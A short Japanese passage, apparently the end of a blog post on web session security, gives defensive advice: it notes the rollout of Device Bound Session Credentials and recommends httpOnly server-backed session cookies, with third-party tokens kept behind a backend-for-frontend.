これはまずChrome on Windowsで、次にmacOSがSecure Enclave経由でロールアウトされ、他のブラウザはまだ決定中です。

実際に機能するにはサーバーサイドのサポートが必要です。そして、マルウェアがログイン時にすでにマシン上にある場合、登録を妨害できる可能性があります。

非常に、非常に機密性の高いものを構築している場合は、今すぐDBSCのドキュメントを読み始めてください。

終わり

TLDR:セッションをhttpOnlyのサーバーバックアップCookieに入れ、サードパーティートークンが登場したらすぐに、それらをBFFの後ろに移動させてブラウザがそれらを保持しないようにします。

どういたしまして。

参考文献